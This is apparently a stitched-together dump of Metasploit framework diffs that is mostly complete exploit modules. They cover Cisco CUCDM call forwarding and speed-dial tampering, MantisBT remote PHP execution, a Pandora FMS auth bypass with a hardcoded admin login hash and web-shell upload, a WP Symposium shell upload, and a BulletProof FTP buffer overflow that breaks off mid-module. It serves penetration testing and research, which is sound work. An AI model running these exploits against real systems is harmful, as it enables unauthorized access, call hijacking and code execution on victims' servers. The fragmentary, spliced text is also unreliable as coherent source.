def do_login(user=nil, pass=nil, viewstate=viewstate, eventvalidation=eventvalidation) def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation)
vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'") vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'")
post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate.to_s)}" post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate_arg.to_s)}"
post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation.to_s)}" post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation_arg.to_s)}"
post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}" post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}"
post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}" post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}"

View File

@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
else else
print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response") print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response")
print_error(res.inspect) print_error(res.to_s)
return :abort return :abort
end end

View File

@ -97,16 +97,16 @@ class Metasploit3 < Msf::Auxiliary
name = name.to_s name = name.to_s
anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '') anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '')
case anst case data
when 'NS' when Resolv::DNS::Resource::IN::NS
data = data.name.to_s data = data.name.to_s
when 'MX' when Resolv::DNS::Resource::IN::MX
data = data.exchange.to_s data = data.exchange.to_s
when 'A' when Resolv::DNS::Resource::IN::A
data = data.address.to_s data = data.address.to_s
when 'TXT' when Resolv::DNS::Resource::IN::TXT
data = data.strings.join data = data.strings.join
when 'CNAME' when Resolv::DNS::Resource::IN::CNAME
data = data.name.to_s data = data.name.to_s
else else
data = anst data = anst

View File

@ -0,0 +1,148 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rexml/document'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool',
'Description' => %q{
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
(CDM) 10 does not properly implement access control, which allows remote attackers to
modify user information. This module exploits the vulnerability for configure unauthorized
call forwarding.
},
'Author' => 'fozavci',
'References' =>
[
['CVE', '2014-3300'],
['BID', '68331']
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ],
[ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ]
],
'DefaultAction' => 'Info'
))
register_options(
[
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']),
OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines'])
], self.class)
end
def run
case action.name.upcase
when 'INFO'
get_info
when 'FORWARD'
forward_calls
end
end
def get_info
uri = normalize_uri(target_uri.to_s)
mac = datastore["MAC"]
print_status("#{peer} - Getting fintnumbers and display names of the IP phone")
res = send_request_cgi(
{
'uri' => normalize_uri(uri, 'showcallfwd.cgi'),
'method' => 'GET',
'vars_get' => {
'device' => "SEP#{mac}"
}
})
unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/
print_error("#{peer} - Target appears not vulnerable!")
print_status("#{res}")
return []
end
doc = REXML::Document.new(res.body)
lines = []
fint_numbers = []
list = doc.root.get_elements('MenuItem')
list.each do |lst|
xlist = lst.get_elements('Name')
xlist.each {|l| lines << "#{l[0]}"}
xlist = lst.get_elements('URL')
xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" }
end
lines.size.times do |i|
print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}")
end
fint_numbers
end
def forward_calls
# for a specific FINTNUMBER redirection
uri = normalize_uri(target_uri.to_s)
forward_to = datastore["FORWARDTO"]
mac = datastore["MAC"]
if datastore['FINTNUMBER']
fint_numbers = [datastore['FINTNUMBER']]
else
fint_numbers = get_info
end
if fint_numbers.empty?
print_error("#{peer} - FINTNUMBER required to forward calls")
return
end
fint_numbers.each do |fintnumber|
print_status("#{peer} - Sending call forward request for #{fintnumber}")
send_request_cgi(
{
'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
'method' => 'GET',
'vars_get' => {
'cfoption' => 'CallForwardAll',
'device' => "SEP#{mac}",
'ProviderName' => 'NULL',
'fintnumber' => "#{fintnumber}",
'telno1' => "#{forward_to}"
}
})
res = send_request_cgi(
{
'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
'method' => 'GET',
'vars_get' => {
'device' => "SEP#{mac}",
'fintnumber' => "#{fintnumber}"
}
})
if res && res.body && res.body && res.body.to_s =~ /CFA/
print_good("#{peer} - Call forwarded successfully for #{fintnumber}")
else
print_status("#{peer} - Call forward failed.")
end
end
end
end

View File

@ -0,0 +1,205 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rexml/document'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool',
'Description' => %q{
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
(CDM), before version 10, doesn't implement access control properly, which allows remote
attackers to modify user information. This module exploits the vulnerability to make
unauthorized speeddial manipulations.
},
'Author' => 'fozavci',
'References' =>
[
['CVE', '2014-3300'],
['BID', '68331']
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ],
[ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ],
[ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ],
[ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ]
],
'DefaultAction' => 'List'
))
register_options(
[
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']),
OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']),
OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']),
], self.class)
end
def run
case action.name.upcase
when 'MODIFY'
modify
when 'DELETE'
delete
when 'ADD'
add
when 'LIST'
list
end
end
def send_rcv(uri, vars_get)
uri = normalize_uri(target_uri.to_s, uri.to_s)
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET',
'vars_get' => vars_get
})
if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/
return Exploit::CheckCode::Vulnerable, res
else
print_error("#{peer} - Target appears not vulnerable!")
return Exploit::CheckCode::Safe, res
end
end
def parse(res)
doc = REXML::Document.new(res.body)
names = []
phones = []
list = doc.root.get_elements('DirectoryEntry')
list.each do |lst|
xlist = lst.get_elements('Name')
xlist.each {|l| names << "#{l[0]}"}
xlist = lst.get_elements('Telephone')
xlist.each {|l| phones << "#{l[0]}" }
end
if names.size > 0
names.size.times do |i|
info = ''
info << "Position: #{names[i].split(":")[0]}, "
info << "Name: #{names[i].split(":")[1]}, "
info << "Telephone: #{phones[i]}"
print_good("#{peer} - #{info}")
end
else
print_status("#{peer} - No Speed Dial detected")
end
end
def list
mac = datastore['MAC']
print_status("#{peer} - Getting Speed Dials of the IP phone")
vars_get = {
'device' => "SEP#{mac}"
}
status, res = send_rcv('speeddials.cgi', vars_get)
parse(res) unless status == Exploit::CheckCode::Safe
end
def add
mac = datastore['MAC']
name = datastore['NAME']
position = datastore['POSITION']
telno = datastore['TELNO']
print_status("#{peer} - Adding Speed Dial to the IP phone")
vars_get = {
'name' => "#{name}",
'telno' => "#{telno}",
'device' => "SEP#{mac}",
'entry' => "#{position}",
'mac' => "#{mac}"
}
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
print_good("#{peer} - Speed Dial #{position} is added successfully")
elsif res && res.body && res.body.to_s =~ /exist/
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
else
print_error("#{peer} - Speed Dial couldn't add!")
end
end
def delete
mac = datastore['MAC']
position = datastore['POSITION']
print_status("#{peer} - Deleting Speed Dial of the IP phone")
vars_get = {
'entry' => "#{position}",
'device' => "SEP#{mac}"
}
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
else
print_error("#{peer} - Speed Dial is not found!")
end
end
def modify
mac = datastore['MAC']
name = datastore['NAME']
position = datastore['POSITION']
telno = datastore['TELNO']
print_status("#{peer} - Deleting Speed Dial of the IP phone")
vars_get = {
'entry' => "#{position}",
'device' => "SEP#{mac}"
}
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
print_status("#{peer} - Adding Speed Dial to the IP phone")
vars_get = {
'name' => "#{name}",
'telno' => "#{telno}",
'device' => "SEP#{mac}",
'entry' => "#{position}",
'mac' => "#{mac}"
}
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
print_good("#{peer} - Speed Dial #{position} is added successfully")
elsif res && res.body =~ /exist/
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
else
print_error("#{peer} - Speed Dial couldn't add!")
end
else
print_error("#{peer} - Speed Dial is not found!")
end
end
end

View File

@ -105,18 +105,28 @@ class Metasploit3 < Msf::Exploit::Remote
sum = addend_one + addend_two sum = addend_one + addend_two
java = java_sum([addend_one, addend_two]) java = java_sum([addend_one, addend_two])
vprint_status("#{peer} attempting to execute '#{java}' in Java")
res = execute(java) res = execute(java)
result = parse_result(res) result = parse_result(res)
if result.nil? if result.nil?
vprint_status("#{peer} no response to executed Java")
return false return false
else else
vprint_status("#{peer} response to executed Java: #{result}")
result.to_i == sum result.to_i == sum
end end
end end
def parse_result(res) def parse_result(res)
unless res && res.code == 200 && res.body unless res
vprint_error("#{peer} no response")
return nil
end
unless res.code == 200 && res.body
vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
return nil return nil
end end
@ -127,20 +137,16 @@ class Metasploit3 < Msf::Exploit::Remote
end end
begin begin
result = json['hits']['hits'][0]['fields']['msf_result'][0] result = json['hits']['hits'][0]['fields']['msf_result']
rescue rescue
return nil return nil
end end
result result.is_a?(::Array) ? result.first : result
end end
def java_sum(summands) def java_sum(summands)
source = <<-EOF summands.join(' + ')
#{summands.join(" + ")}
EOF
source
end end
def to_java_byte_array(str) def to_java_byte_array(str)

View File

@ -9,6 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include REXML
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
@ -17,16 +18,22 @@ class Metasploit3 < Msf::Exploit::Remote
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed. This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier. The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine. This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
This version also suffers from another issue. The import page is not checking the correct user level
of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'Egidio Romano', # discovery http://karmainsecurity.com 'Egidio Romano', # discovery http://karmainsecurity.com
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco 'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
'Christian Mehlmauer'
], ],
'References' => 'References' =>
[ [
['CVE', '2014-7146'] ['CVE', '2014-7146'],
['CVE', '2014-8598'],
['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'],
['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780']
], ],
'Platform' => 'php', 'Platform' => 'php',
'Arch' => ARCH_PHP, 'Arch' => ARCH_PHP,
@ -42,49 +49,98 @@ class Metasploit3 < Msf::Exploit::Remote
], self.class) ], self.class)
end end
def check def get_mantis_version
res = exec_php('phpinfo(); die();', true) xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:man' => "http://futureware.biz/mantisconnect"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element("man:mc_version",
{ 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }
)
if res && res.body =~ /This program makes use of the Zend/ res = send_request_cgi({
return Exploit::CheckCode::Vulnerable 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'),
'ctype' => 'text/xml; charset=UTF-8',
'headers' => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'},
'data' => xml.to_s
})
if res && res.code == 200
match = res.body.match(/<ns1:mc_versionResponse.*><return xsi:type="xsd:string">(.+)<\/return><\/ns1:mc_versionResponse>/)
if match && match.length == 2
version = match[1]
print_status("Detected Mantis version #{version}")
return version
end
end
print_status("Can not detect Mantis version")
return nil
end
def check
version = get_mantis_version
return Exploit::CheckCode::Unknown if version.nil?
gem_version = Gem::Version.new(version)
gem_version_introduced = Gem::Version.new('1.2.0a3')
gem_version_fixed = Gem::Version.new('1.2.18')
if gem_version < gem_version_fixed && gem_version >= gem_version_introduced
return Msf::Exploit::CheckCode::Appears
else else
return Exploit::CheckCode::Unknown return Msf::Exploit::CheckCode::Safe
end end
end end
def do_login() def do_login()
print_status('Checking access to MantisBT...') # check for anonymous login
res = send_request_cgi({ res = send_request_cgi({
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_page.php'), 'uri' => normalize_uri(target_uri.path, 'login_anon.php')
'vars_get' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
}
}) })
# if the redirect contains a username (non empty), anonymous access is enabled
if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/
print_status('Anonymous access enabled, no need to log in')
session_cookie = res.get_cookies
else
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
'vars_get' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
}
})
session_cookie = res.get_cookies
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'cookie' => session_cookie,
'vars_post' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
'username' => datastore['username'],
'password' => datastore['password'],
'secure_session' => 'on'
}
})
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200 fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php')
session_cookie = res.get_cookies session_cookie = "#{session_cookie} #{res.get_cookies}"
end
print_status('Logging in...') session_cookie
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'cookie' => session_cookie,
'vars_post' => {
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
'username' => datastore['username'],
'password' => datastore['password'],
'secure_session' => 'on'
}
})
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
"#{session_cookie} #{res.get_cookies}"
end end
def upload_xml(payload_b64, rand_text, cookies, is_check) def upload_xml(payload_b64, rand_text, cookies, is_check)
@ -107,11 +163,16 @@ class Metasploit3 < Msf::Exploit::Remote
} }
}) })
unless res && res.code == 200 unless res && res.code == 200 && res.body
print_error('Error trying to access XmlImportExport/import page...') print_error('Error trying to access XmlImportExport/import page...')
return false return false
end end
if res.body.include?('Plugin is not registered with MantisBT')
print_error('XMLImportExport plugin is not installed')
return false
end
# Retrieving CSRF token # Retrieving CSRF token
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/ if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
csrf_token = Regexp.last_match[1] csrf_token = Regexp.last_match[1]
@ -190,22 +251,37 @@ class Metasploit3 < Msf::Exploit::Remote
data_post = data.to_s data_post = data.to_s
print_status('Sending payload...') print_status('Sending payload...')
return send_request_cgi({ res = send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'), 'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
'cookie' => cookies, 'cookie' => cookies,
'ctype' => "multipart/form-data; boundary=#{ data.bound }", 'ctype' => "multipart/form-data; boundary=#{ data.bound }",
'data' => data_post 'data' => data_post
}, timeout) }, timeout)
if res && res.body && res.body.include?('APPLICATION ERROR')
print_error('Error on uploading XML')
return false
end
# request above will time out and return nil on success
return true
end end
def exec_php(php_code, is_check = false) def exec_php(php_code, is_check = false)
print_status('Checking access to MantisBT...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection)
# remove comments, line breaks and spaces of php_code # remove comments, line breaks and spaces of php_code
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '') payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
# clean b64 payload # clean b64 payload
while Rex::Text.encode_base64(payload_clean) =~ /=/ while Rex::Text.encode_base64(payload_clean).include?('=')
payload_clean = "#{ payload_clean } " payload_clean = "#{ payload_clean } "
end end
payload_b64 = Rex::Text.encode_base64(payload_clean) payload_b64 = Rex::Text.encode_base64(payload_clean)
@ -216,6 +292,8 @@ class Metasploit3 < Msf::Exploit::Remote
res_payload = upload_xml(payload_b64, rand_text, cookies, is_check) res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
return unless res_payload
# When a meterpreter session is active, communication with the application is lost. # When a meterpreter session is active, communication with the application is lost.
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it. # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
cookies = do_login() cookies = do_login()
@ -283,6 +361,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def exploit def exploit
get_mantis_version
unless exec_php(payload.encoded) unless exec_php(payload.encoded)
fail_with(Failure::Unknown, 'Exploit failed, aborting.') fail_with(Failure::Unknown, 'Exploit failed, aborting.')
end end

View File

@ -0,0 +1,166 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Pandora v3.1 Auth Bypass and Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits an authentication bypass vulnerability in Pandora v3.1 as
disclosed by Juan Galiana Lara. It also integrates with the built-in pandora
upload which allows a user to upload arbitrary files to the '/images/' directory.
This module was created as an exercise in the Metasploit Mastery Class at Blackhat
that was facilitated by egypt and mubix.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Juan Galiana Lara', # Vulnerability discovery
'Raymond Nunez <rcnunez[at]upd.edu.ph>', # Metasploit module
'Elizabeth Loyola <ecloyola[at]upd.edu.ph>', # Metasploit module
'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>', # Metasploit module
'_flood <freshbones[at]gmail.com>', # Metasploit module
'mubix <mubix[at]room362.com>', # Auth bypass and file upload
'egypt <egypt[at]metasploit.com>', # Auth bypass and file upload
],
'References' =>
[
['CVE', '2010-4279'],
['OSVDB', '69549'],
['BID', '45112']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => "Nov 30 2010",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/pandora_console/']),
], self.class)
end
def check
base = target_uri.path
# retrieve software version from login page
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'index.php')
})
if res and res.code == 200
#Tested on v3.1 Build PC100609 and PC100608
if res.body.include?("v3.1 Build PC10060")
return Exploit::CheckCode::Appears
elsif res.body.include?("Pandora")
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error("#{peer} - Connection failed")
end
return Exploit::CheckCode::Unknown
end
# upload a payload using the pandora built-in file upload
def upload(base, file, cookies)
data = Rex::MIME::Message.new
data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"")
data.add_part("Go", nil, nil, 'form-data; name="go"')
data.add_part("images", nil, nil, 'form-data; name="directory"')
data.add_part("1", nil, nil, 'form-data; name="upload_file"')
data_post = data.to_s
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'index.php'),
'cookie' => cookies,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => {
'sec' => 'gsetup',
'sec2' => 'godmode/setup/file_manager',
},
'data' => data_post
})
register_files_for_cleanup(@fname)
return res
end
def exploit
base = target_uri.path
@fname = "#{rand_text_numeric(7)}.php"
cookies = ""
# bypass authentication and get session cookie
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'index.php'),
'vars_get' => {
'loginhash_data' => '21232f297a57a5a743894a0e4a801fc3',
'loginhash_user' => 'admin',
'loginhash' => '1',
},
})
# fix if logic
if res and res.code == 200
if res.body.include?("Logout")
cookies = res.get_cookies
print_status("Login Bypass Successful")
print_status("cookie monster = " + cookies)
else
fail_with(Exploit::Failure::NotVulnerable, "Login Bypass Failed")
end
end
# upload PHP payload to images/[fname]
print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
php = %Q|<?php #{payload.encoded} ?>|
begin
res = upload(base, php, cookies)
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
end
if res and res.code == 200
print_good("#{peer} - File uploaded successfully")
else
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed")
end
# retrieve and execute PHP payload
print_status("#{peer} - Executing payload (images/#{@fname})")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'images', "#{@fname}")
}, 1)
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
end
end
end

View File

@ -234,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => datastore['HTTP_METHOD'], 'method' => datastore['HTTP_METHOD'],
}, 25) }, 25)
if res && !res.get_cookies.empty? if res && !res.get_cookies.empty?
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /) match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
end end
if match if match

View File

@ -122,7 +122,7 @@ EOS
end end
print_error("Encountered unexpected #{res.code} response:") print_error("Encountered unexpected #{res.code} response:")
print_error(res.inspect) print_error(res.to_s)
return nil return nil
end end

View File

@ -0,0 +1,99 @@
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WP Symposium 14.11 Shell Upload',
'Description' => %q{WP Symposium Plugin for WordPress contains a
flaw that allows a remote attacker to execute
arbitrary PHP code. This flaw exists because the
/wp-symposium/server/file_upload_form.php script
does not properly verify or sanitize
user-uploaded files. By uploading a .php file,
the remote system will place the file in a
user-accessible path. Making a direct request to
the uploaded file will allow the attacker to
execute the script with the privileges of the
web server.},
'License' => MSF_LICENSE,
'Author' =>
[
'Claudio Viviani', # Vulnerability disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'References' =>
[
['OSVDB', '116046'],
['WPVDB', '7716']
],
'DisclosureDate' => 'Dec 11 2014',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wp-symposium < 14.12', {}]],
'DefaultTarget' => 0
))
end
def check
check_plugin_version_from_readme('wp-symposium', '14.12')
end
def generate_mime_message(payload, payload_name, directory_name, symposium_url)
data = Rex::MIME::Message.new
data.add_part('1', nil, nil, 'form-data; name="uploader_uid"')
data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"')
data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"")
data
end
def exploit
print_status("#{peer} - Preparing payload")
unique_name = Rex::Text.rand_text_alpha(10)
payload_name = "#{unique_name}.php"
symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
payload_url = normalize_uri(symposium_url, unique_name, payload_name)
data = generate_mime_message(payload, payload_name, unique_name, symposium_url)
symposium_url = normalize_uri(symposium_url, 'index.php')
print_status("#{peer} - Uploading payload to #{payload_url}")
res = send_request_cgi(
'method' => 'POST',
'uri' => symposium_url,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
print_good("#{peer} - Uploaded the payload")
register_files_for_cleanup(payload_name)
print_status("#{peer} - Executing the payload...")
send_request_cgi(
{
'uri' => payload_url,
'method' => 'GET'
}, 5)
print_good("#{peer} - Executed payload")
else
if res.nil?
fail_with(Failure::Unreachable, "No response from the target")
else
vprint_error("#{peer} - HTTP Status: #{res.code}")
vprint_error("#{peer} - Server returned: #{res.body}")
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
end
end
end
end

View File

@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Create the pdf # Create the pdf
#pdf = make_pdf(script) #pdf = make_pdf(script)
pdf = CreatePDF(script) pdf = create_pdf(script)
print_status("Creating '#{datastore['FILENAME']}' file...") print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf) file_create(pdf)

View File

@ -0,0 +1,91 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'BulletProof FTP Client BPS Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
BulletProof FTP Client 2010, caused by an overly long hostname.
By persuading the victim to open a specially-crafted .BPS file, a
remote attacker could execute arbitrary code on the system or cause
the application to crash. This module has been tested successfully on
Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gabor Seljan'
],
'References' =>
[
[ 'EDB', '34162' ],
[ 'EDB', '34540' ],
[ 'EDB', '35449' ],
[ 'OSVDB', '109547' ],
[ 'CVE', '2014-2973' ],
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x1a",
'Space' => 2000
},
'Targets' =>
[
[ 'Windows XP SP3',
{
'Offset' => 89,
'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll]
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jul 24 2014',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
],
self.class)
end
def exploit
eggoptions = {
:checksum => true,
:eggtag => 'w00t'
}
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"
sploit << rand_text_alpha(target['Offset'])
sploit << generate_seh_record(target.ret)
sploit << hunter + "\r\n" # FTP Server HOST / IP
sploit << rand_text_numeric(5) + "\r\n" # Port number
